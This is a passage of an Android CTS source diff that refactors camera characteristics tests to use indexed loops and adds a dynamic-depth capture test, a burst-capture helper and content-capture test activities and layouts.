                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
 
@@ -1184,7 +1182,7 @@
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                    mAllCameraIds[counter]), config);
+                    mAllCameraIds[i]), config);
             Rect activeRect = CameraTestUtils.getValueNotNull(
                     c, CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
             Size sensorSize = new Size(activeRect.width(), activeRect.height());
@@ -1205,7 +1203,7 @@
             }
 
             Size maxJpegSize = CameraTestUtils.getMaxSize(CameraTestUtils.getSupportedSizeForFormat(
-                    ImageFormat.JPEG, mAllCameraIds[counter], mCameraManager));
+                    ImageFormat.JPEG, mAllCameraIds[i], mCameraManager));
 
             boolean haveMaxYuv = maxYuvSize != null ?
                 (maxJpegSize.getWidth() <= maxYuvSize.getWidth() &&
@@ -1259,7 +1257,7 @@
             // it's not quite per-frame
 
             Integer maxSyncLatencyValue = c.get(CameraCharacteristics.SYNC_MAX_LATENCY);
-            assertNotNull(String.format("No sync latency declared for ID %s", mAllCameraIds[counter]),
+            assertNotNull(String.format("No sync latency declared for ID %s", mAllCameraIds[i]),
                     maxSyncLatencyValue);
 
             int maxSyncLatency = maxSyncLatencyValue;
@@ -1273,56 +1271,54 @@
                 assertTrue(
                         String.format("BURST-capable camera device %s does not have maximum YUV " +
                                 "size that is at least max JPEG size",
-                                mAllCameraIds[counter]),
+                                mAllCameraIds[i]),
                         haveMaxYuv);
                 assertTrue(
                         String.format("BURST-capable camera device %s max-resolution " +
                                 "YUV frame rate is too slow" +
                                 "(%d ns min frame duration reported, less than %d ns expected)",
-                                mAllCameraIds[counter], maxYuvRate, MIN_MAXSIZE_DURATION_BOUND_NS),
+                                mAllCameraIds[i], maxYuvRate, MIN_MAXSIZE_DURATION_BOUND_NS),
                         haveMaxYuvRate);
                 assertTrue(
                         String.format("BURST-capable camera device %s >= 8MP YUV output " +
                                 "frame rate is too slow" +
                                 "(%d ns min frame duration reported, less than %d ns expected)",
-                                mAllCameraIds[counter], maxYuvRate, MIN_8MP_DURATION_BOUND_NS),
+                                mAllCameraIds[i], maxYuvRate, MIN_8MP_DURATION_BOUND_NS),
                         haveFastYuvRate);
                 assertTrue(
                         String.format("BURST-capable camera device %s does not list an AE target " +
                                 " FPS range with min FPS >= %f, for full-AUTO bursts",
-                                mAllCameraIds[counter], minYuvFps),
+                                mAllCameraIds[i], minYuvFps),
                         haveFastAeTargetFps);
                 assertTrue(
                         String.format("BURST-capable camera device %s YUV sync latency is too long" +
                                 "(%d frames reported, [0, %d] frames expected)",
-                                mAllCameraIds[counter], maxSyncLatency, MAX_LATENCY_BOUND),
+                                mAllCameraIds[i], maxSyncLatency, MAX_LATENCY_BOUND),
                         haveFastSyncLatency);
                 assertTrue(
                         String.format("BURST-capable camera device %s max YUV size %s should be" +
                                 "close to active array size %s or cropped active array size %s",
-                                mAllCameraIds[counter], maxYuvSize.toString(), sensorSize.toString(),
+                                mAllCameraIds[i], maxYuvSize.toString(), sensorSize.toString(),
                                 maxYuvMatchSensorPair.second.toString()),
                         maxYuvMatchSensorPair.first.booleanValue());
                 assertTrue(
                         String.format("BURST-capable camera device %s does not support AE lock",
-                                mAllCameraIds[counter]),
+                                mAllCameraIds[i]),
                         haveAeLock);
                 assertTrue(
                         String.format("BURST-capable camera device %s does not support AWB lock",
-                                mAllCameraIds[counter]),
+                                mAllCameraIds[i]),
                         haveAwbLock);
             } else {
                 assertTrue("Must have null slow YUV size array when no BURST_CAPTURE capability!",
                         slowYuvSizes == null);
                 assertTrue(
                         String.format("Camera device %s has all the requirements for BURST" +
-                                " capability but does not report it!", mAllCameraIds[counter]),
+                                " capability but does not report it!", mAllCameraIds[i]),
                         !(haveMaxYuv && haveMaxYuvRate && haveFastYuvRate && haveFastAeTargetFps &&
                                 haveFastSyncLatency && maxYuvMatchSensorPair.first.booleanValue() &&
                                 haveAeLock && haveAwbLock));
             }
-
-            counter++;
         }
     }
 
@@ -1330,11 +1326,10 @@
      * Check reprocessing capabilities.
      */
     public void testReprocessingCharacteristics() {
-        int counter = 0;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[i]);
 
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
-
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     capabilities);
@@ -1452,7 +1447,6 @@
                         "NOISE_REDUCTION_MODE_ZERO_SHUTTER_LAG is supported",
                         !supportZslNoiseReductionMode);
             }
-            counter++;
         }
     }
 
@@ -1460,11 +1454,10 @@
      * Check depth output capability
      */
     public void testDepthOutputCharacteristics() {
-        int counter = 0;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[i]);
 
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
-
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     capabilities);
@@ -1651,7 +1644,6 @@
                             reportCalibration);
                 }
             }
-            counter++;
         }
     }
 
@@ -1737,13 +1729,13 @@
      * Cross-check StreamConfigurationMap output
      */
     public void testStreamConfigurationMap() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[counter]);
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[i]);
+            CameraCharacteristics c = mCharacteristics.get(i);
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                            mAllCameraIds[counter]), config);
+                            mAllCameraIds[i]), config);
 
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
@@ -1799,12 +1791,12 @@
                 }
                 assertTrue("Supported format " + format + " has no sizes listed",
                         supportedSizes.size() > 0);
-                for (int i = 0; i < supportedSizes.size(); i++) {
-                    Size size = supportedSizes.get(i);
+                for (int j = 0; j < supportedSizes.size(); j++) {
+                    Size size = supportedSizes.get(j);
                     if (VERBOSE) {
                         Log.v(TAG,
                                 String.format("Testing camera %s, format %d, size %s",
-                                        mAllCameraIds[counter], format, size.toString()));
+                                        mAllCameraIds[i], format, size.toString()));
                     }
 
                     long stallDuration = config.getOutputStallDuration(format, size);
@@ -1817,14 +1809,14 @@
                         case ImageFormat.RAW_SENSOR:
                             final float TOLERANCE_FACTOR = 2.0f;
                             long prevDuration = 0;
-                            if (i > 0) {
+                            if (j > 0) {
                                 prevDuration = config.getOutputStallDuration(
-                                        format, supportedSizes.get(i - 1));
+                                        format, supportedSizes.get(j - 1));
                             }
                             long nextDuration = Long.MAX_VALUE;
-                            if (i < (supportedSizes.size() - 1)) {
+                            if (j < (supportedSizes.size() - 1)) {
                                 nextDuration = config.getOutputStallDuration(
-                                        format, supportedSizes.get(i + 1));
+                                        format, supportedSizes.get(j + 1));
                             }
                             long curStallDuration = config.getOutputStallDuration(format, size);
                             // Stall duration should be in a reasonable range: larger size should
@@ -1898,7 +1890,7 @@
                 Surface surf = new Surface(st);
 
                 Size[] opaqueSizes = CameraTestUtils.getSupportedSizeForClass(SurfaceTexture.class,
-                        mAllCameraIds[counter], mCameraManager);
+                        mAllCameraIds[i], mCameraManager);
                 assertTrue("Opaque format has no sizes listed",
                         opaqueSizes.length > 0);
                 for (Size size : opaqueSizes) {
@@ -1934,7 +1926,6 @@
                         config.isOutputSupportedFor(surf));
 
             }
-            counter++;
         } // mCharacteristics
     }
 
@@ -1943,8 +1934,8 @@
      * the StreamConfigurationMap.
      */
     public void testConstrainedHighSpeedCapability() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = CameraTestUtils.getValueNotNull(
                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             boolean supportHighSpeed = arrayContains(capabilities, CONSTRAINED_HIGH_SPEED);
@@ -1955,7 +1946,7 @@
                 List<Size> highSpeedSizes = Arrays.asList(config.getHighSpeedVideoSizes());
                 assertTrue("High speed sizes shouldn't be empty", highSpeedSizes.size() > 0);
                 Size[] allSizes = CameraTestUtils.getSupportedSizeForFormat(ImageFormat.PRIVATE,
-                        mAllCameraIds[counter], mCameraManager);
+                        mAllCameraIds[i], mCameraManager);
                 assertTrue("Normal size for PRIVATE format shouldn't be null or empty",
                         allSizes != null && allSizes.length > 0);
                 for (Size size: highSpeedSizes) {
@@ -1995,7 +1986,7 @@
                 // should be advertise by the camera.
                 for (int quality = CamcorderProfile.QUALITY_HIGH_SPEED_480P;
                         quality <= CamcorderProfile.QUALITY_HIGH_SPEED_2160P; quality++) {
-                    int cameraId = Integer.valueOf(mAllCameraIds[counter]);
+                    int cameraId = Integer.valueOf(mAllCameraIds[i]);
                     if (CamcorderProfile.hasProfile(cameraId, quality)) {
                         CamcorderProfile profile = CamcorderProfile.get(cameraId, quality);
                         Size camcorderProfileSize =
@@ -2016,7 +2007,6 @@
                     }
                 }
             }
-            counter++;
         }
     }
 
@@ -2024,8 +2014,8 @@
      * Sanity check of optical black regions.
      */
     public void testOpticalBlackRegions() {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             List<CaptureResult.Key<?>> resultKeys = c.getAvailableCaptureResultKeys();
             boolean hasDynamicBlackLevel =
                     resultKeys.contains(CaptureResult.SENSOR_DYNAMIC_BLACK_LEVEL);
@@ -2058,7 +2048,7 @@
 
                 // Range check.
                 for (Rect region : regions) {
-                    mCollector.expectTrue("Camera " + mAllCameraIds[counter] + ": optical black region" +
+                    mCollector.expectTrue("Camera " + mAllCameraIds[i] + ": optical black region" +
                             " shouldn't be empty!", !region.isEmpty());
                     mCollector.expectGreaterOrEqual("Optical black region left", 0/*expected*/,
                             region.left/*actual*/);
@@ -2090,10 +2080,9 @@
                     }
                 }
             } else {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] + " doesn't support optical black regions,"
+                Log.i(TAG, "Camera " + mAllCameraIds[i] + " doesn't support optical black regions,"
                         + " skip the region test");
             }
-            counter++;
         }
     }
 
@@ -2101,10 +2090,8 @@
      * Check Logical camera capability
      */
     public void testLogicalCameraCharacteristics() throws Exception {
-        int counter = 0;
-        String[] publicIds = mCameraManager.getCameraIdList();
-
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = CameraTestUtils.getValueNotNull(
                     c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             boolean supportLogicalCamera = arrayContains(capabilities,
@@ -2126,8 +2113,8 @@
                     assertNotNull("Physical camera id shouldn't be null", physicalCameraId);
                     assertTrue(
                             String.format("Physical camera id %s shouldn't be the same as logical"
-                                    + " camera id %s", physicalCameraId, mAllCameraIds[counter]),
-                            physicalCameraId != mAllCameraIds[counter]);
+                                    + " camera id %s", physicalCameraId, mAllCameraIds[i]),
+                            physicalCameraId != mAllCameraIds[i]);
 
                     //validation for depth static metadata of physical cameras
                     CameraCharacteristics pc =
@@ -2160,17 +2147,16 @@
             if (!isExternalCamera) {
                 float[] focalLengths = c.get(
                         CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS);
-                for (int i = 0; i < focalLengths.length-1; i++) {
+                for (int j = 0; j < focalLengths.length-1; j++) {
                     mCollector.expectTrue("Camera's available focal lengths must be ascending!",
-                            focalLengths[i] < focalLengths[i+1]);
+                            focalLengths[j] < focalLengths[j+1]);
                 }
                 float[] apertures = c.get(CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES);
-                for (int i = 0; i < apertures.length-1; i++) {
+                for (int j = 0; j < apertures.length-1; j++) {
                     mCollector.expectTrue("Camera's available apertures must be ascending!",
-                            apertures[i] < apertures[i+1]);
+                            apertures[j] < apertures[j+1]);
                 }
             }
-            counter++;
         }
     }
 
@@ -2178,11 +2164,10 @@
      * Check monochrome camera capability
      */
     public void testMonochromeCharacteristics() {
-        int counter = 0;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[i]);
 
-        for (CameraCharacteristics c : mCharacteristics) {
-            Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
-
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     capabilities);
@@ -2375,8 +2360,8 @@
         }
         boolean isDevicePortrait = metrics.widthPixels < metrics.heightPixels;
 
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             // Camera size
             Size pixelArraySize = c.get(CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE);
             // Camera orientation
@@ -2384,7 +2369,6 @@
 
             // For square sensor, test is guaranteed to pass
             if (pixelArraySize.getWidth() == pixelArraySize.getHeight()) {
-                counter++;
                 continue;
             }
 
@@ -2399,9 +2383,8 @@
 
             boolean isCameraPortrait =
                     adjustedSensorSize.getWidth() < adjustedSensorSize.getHeight();
-            assertFalse("Camera " + mAllCameraIds[counter] + "'s long dimension must "
+            assertFalse("Camera " + mAllCameraIds[i] + "'s long dimension must "
                     + "align with screen's long dimension", isDevicePortrait^isCameraPortrait);
-            counter++;
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 750e715..37dfbdd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -191,6 +191,7 @@
                 Size previewSize= findCommonPreviewSize(id, dualPhysicalCameraIds);
                 if (previewSize == null) {
                     Log.i(TAG, "Camera " + id + ": No matching physical preview streams, skipping");
+                    continue;
                 }
 
                 testBasicPhysicalStreamingForCamera(
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b7510e6..d108600e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -65,7 +65,7 @@
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
     private static final int CONFIGURE_TIMEOUT = 5000; //ms
-    private static final int CAPTURE_TIMEOUT = 1000; //ms
+    private static final int CAPTURE_TIMEOUT = 1500; //ms
 
     // For testTriggerInteractions
     private static final int PREVIEW_WARMUP_FRAMES = 60;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index bd822f9..e8d2812 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -148,6 +148,39 @@
     }
 
     /**
+     * Test dynamic depth capture along with preview for each camera.
+     */
+    @Test
+    public void testDynamicDepthCapture() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                Log.i(TAG, "Testing dynamic depth for Camera " + mCameraIds[i]);
+                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+                if (!mAllStaticInfo.get(mCameraIds[i]).isDepthJpegSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support dynamic depth, skipping");
+                    continue;
+                }
+
+                openDevice(mCameraIds[i]);
+
+                // Check the maximum supported size.
+                List<Size> orderedDepthJpegSizes = CameraTestUtils.getSortedSizesForFormat(
+                        mCameraIds[i], mCameraManager, ImageFormat.DEPTH_JPEG, null/*bound*/);
+                Size maxDepthJpegSize = orderedDepthJpegSizes.get(0);
+                stillDynamicDepthTestByCamera(ImageFormat.DEPTH_JPEG, maxDepthJpegSize);
+            } finally {
+                closeDevice();
+                closeImageReader();
+            }
+        }
+    }
+
+    /**
      * Test normal still capture sequence.
      * <p>
      * Preview and jpeg output streams are configured. Max still capture
@@ -1295,6 +1328,45 @@
         }
     }
 
+    /**
+     * Issue a still capture and validate the dynamic depth output.
+     */
+    private void stillDynamicDepthTestByCamera(int format, Size stillSize) throws Exception {
+        assertTrue(format == ImageFormat.DEPTH_JPEG);
+
+        Size maxPreviewSz = mOrderedPreviewSizes.get(0);
+        if (VERBOSE) {
+            Log.v(TAG, "Testing dynamic depth with size " + stillSize.toString()
+                    + ", preview size " + maxPreviewSz);
+        }
+
+        // prepare capture and start preview.
+        CaptureRequest.Builder previewBuilder =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        CaptureRequest.Builder stillBuilder =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+        SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
+        prepareCaptureAndStartPreview(previewBuilder, stillBuilder, maxPreviewSz, stillSize,
+                ImageFormat.DEPTH_JPEG, resultListener, /*sessionListener*/null,
+                MAX_READER_IMAGES, imageListener);
+
+        // Capture a few dynamic depth images and check whether they are valid jpegs.
+        for (int i = 0; i < MAX_READER_IMAGES; i++) {
+            CaptureRequest request = stillBuilder.build();
+            mSession.capture(request, resultListener, mHandler);
+            CaptureResult stillResult =
+                resultListener.getCaptureResultForRequest(request, NUM_RESULTS_WAIT_TIMEOUT);
+            Image image = imageListener.getImage(CAPTURE_IMAGE_TIMEOUT_MS);
+            assertNotNull("Unable to acquire next image", image);
+            CameraTestUtils.validateImage(image, stillSize.getWidth(), stillSize.getHeight(),
+                    format, null /*filePath*/);
+
+            // Free image resources
+            image.close();
+        }
+    }
+
     private void aeCompensationTestByCamera() throws Exception {
         Range<Integer> compensationRange = mStaticInfo.getAeCompensationRangeChecked();
         // Skip the test if exposure compensation is not supported.
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index 1f8b792..5a95d62 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -385,6 +385,31 @@
     }
 
     /**
+     * Submit a burst of the same capture request, then submit additional captures in order to
+     * ensure that the camera will be synchronized.
+     *
+     * <p>
+     * The additional capture count is determined by android.sync.maxLatency (or
+     * a fixed {@value #NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY}) captures if maxLatency is unknown).
+     * </p>
+     *
+     * <p>Returns the number of captures that were submitted (at least 1), which is useful
+     * with {@link #waitForNumResults}.</p>
+     *
+     * @param request capture request to forward to {@link CameraDevice#capture}
+     * @param listener request listener to forward to {@link CameraDevice#capture}
+     * @param handler handler to forward to {@link CameraDevice#capture}
+     *
+     * @return the number of captures that were submitted
+     *
+     * @throws CameraAccessException if capturing failed
+     */
+    protected int captureRequestsSynchronizedBurst(
+            CaptureRequest request, int count, CaptureCallback listener, Handler handler)
+                    throws CameraAccessException {
+        return captureRequestsSynchronizedImpl(request, count, listener, handler, true);
+    }
+    /**
      * Submit a capture once, then submit additional captures in order to ensure that
      * the camera will be synchronized.
      *
@@ -407,7 +432,7 @@
     protected int captureRequestsSynchronized(
             CaptureRequest request, CaptureCallback listener, Handler handler)
                     throws CameraAccessException {
-        return captureRequestsSynchronized(request, /*count*/1, listener, handler);
+        return captureRequestsSynchronizedImpl(request, /*count*/1, listener, handler, false);
     }
 
     /**
@@ -435,24 +460,7 @@
     protected int captureRequestsSynchronized(
             CaptureRequest request, int count, CaptureCallback listener, Handler handler)
                     throws CameraAccessException {
-        if (count < 1) {
-            throw new IllegalArgumentException("count must be positive");
-        }
-
-        int maxLatency = mStaticInfo.getSyncMaxLatency();
-        if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
-            maxLatency = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY;
-        }
-
-        assertTrue("maxLatency is non-negative", maxLatency >= 0);
-
-        int numCaptures = maxLatency + count;
-
-        for (int i = 0; i < numCaptures; ++i) {
-            mSession.capture(request, listener, handler);
-        }
-
-        return numCaptures;
+        return captureRequestsSynchronizedImpl(request, count, listener, handler, false);
     }
 
     /**
@@ -878,4 +886,34 @@
     protected Range<Integer> getSuitableFpsRangeForDuration(String cameraId, long frameDuration) {
         return CameraTestUtils.getSuitableFpsRangeForDuration(cameraId, frameDuration, mStaticInfo);
     }
+
+    private int captureRequestsSynchronizedImpl(
+            CaptureRequest request, int count, CaptureCallback listener, Handler handler,
+            boolean isBurst) throws CameraAccessException {
+        if (count < 1) {
+            throw new IllegalArgumentException("count must be positive");
+        }
+
+        int maxLatency = mStaticInfo.getSyncMaxLatency();
+        if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
+            maxLatency = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY;
+        }
+
+        assertTrue("maxLatency is non-negative", maxLatency >= 0);
+
+        int numCaptures = maxLatency + count;
+        ArrayList<CaptureRequest> burstCaptureRequests = new ArrayList<>();
+        for (int i = 0; i < numCaptures; ++i) {
+            if (isBurst) {
+                burstCaptureRequests.add(request);
+            } else {
+                mSession.capture(request, listener, handler);
+            }
+        }
+        if (isBurst) {
+            mSession.captureBurst(burstCaptureRequests, listener, handler);
+        }
+
+        return numCaptures;
+    }
 }
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 40d77f9..8069bdb 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -2393,6 +2393,14 @@
     }
 
     /**
+     * Check if Depth Jpeg format is supported
+     */
+    public boolean isDepthJpegSupported() {
+        int[] formats = getAvailableFormats(StaticMetadata.StreamDirection.Output);
+        return CameraTestUtils.contains(formats, ImageFormat.DEPTH_JPEG);
+    }
+
+    /**
      * Check if the dynamic black level is supported.
      *
      * <p>
diff --git a/tests/contentcaptureservice/AndroidManifest.xml b/tests/contentcaptureservice/AndroidManifest.xml
index 7f2c108..f0d262f 100644
--- a/tests/contentcaptureservice/AndroidManifest.xml
+++ b/tests/contentcaptureservice/AndroidManifest.xml
@@ -22,6 +22,49 @@
 
         <uses-library android:name="android.test.runner" />
 
+        <activity android:name=".BlankActivity"
+                  android:label="Blank"
+                  android:taskAffinity=".BlankActivity"
+                  android:theme="@android:style/Theme.NoTitleBar">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".BlankWithTitleActivity"
+                  android:label="Blanka"
+                  android:taskAffinity=".BlankWithTitleActivity">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".LoginActivity"
+                  android:label="Login"
+                  android:taskAffinity=".LoginActivity"
+                  android:theme="@android:style/Theme.NoTitleBar">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".ChildlessActivity"
+                  android:label="Childless"
+                  android:taskAffinity=".ChildlessActivity"
+                  android:theme="@android:style/Theme.NoTitleBar">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
         <activity android:name=".CustomViewActivity"
                   android:label="CustomView"
                   android:taskAffinity=".CustomViewActivity"
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/tests/contentcaptureservice/res/layout/childless_activity.xml
old mode 100755
new mode 100644
similarity index 63%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
copy to tests/contentcaptureservice/res/layout/childless_activity.xml
index 59f3767..8cc67d5
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
+++ b/tests/contentcaptureservice/res/layout/childless_activity.xml
@@ -13,14 +13,14 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- -->
+-->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nolaunchableactivityapp">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <service android:name=".EmptyService" android:enabled="true"></service>
-    </application>
-
-</manifest>
-
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/root_view"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/contentcaptureservice/res/layout/login_activity.xml b/tests/contentcaptureservice/res/layout/login_activity.xml
new file mode 100644
index 0000000..1164b4f
--- /dev/null
+++ b/tests/contentcaptureservice/res/layout/login_activity.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/root_view"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+      <TextView
+          android:id="@+id/username_label"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="Username" />
+
+      <EditText
+          android:id="@+id/username"
+          android:layout_width="match_parent"
+          android:layout_height="wrap_content" />
+
+      <TextView
+          android:id="@+id/password_label"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="Password" />
+
+      <EditText
+          android:id="@+id/password"
+          android:layout_width="match_parent"
+          android:layout_height="wrap_content"
+          android:inputType="textPassword" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
index e7f2e68..8f77b2b 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
@@ -114,7 +114,7 @@
                 mServiceWatcher.waitOnDestroy();
             }
         } catch (Throwable t) {
-            Log.e(TAG, "error disablign service", t);
+            Log.e(TAG, "error disabling service", t);
         }
     }
 
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractRootViewActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractRootViewActivity.java
new file mode 100644
index 0000000..bd4fecc
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractRootViewActivity.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
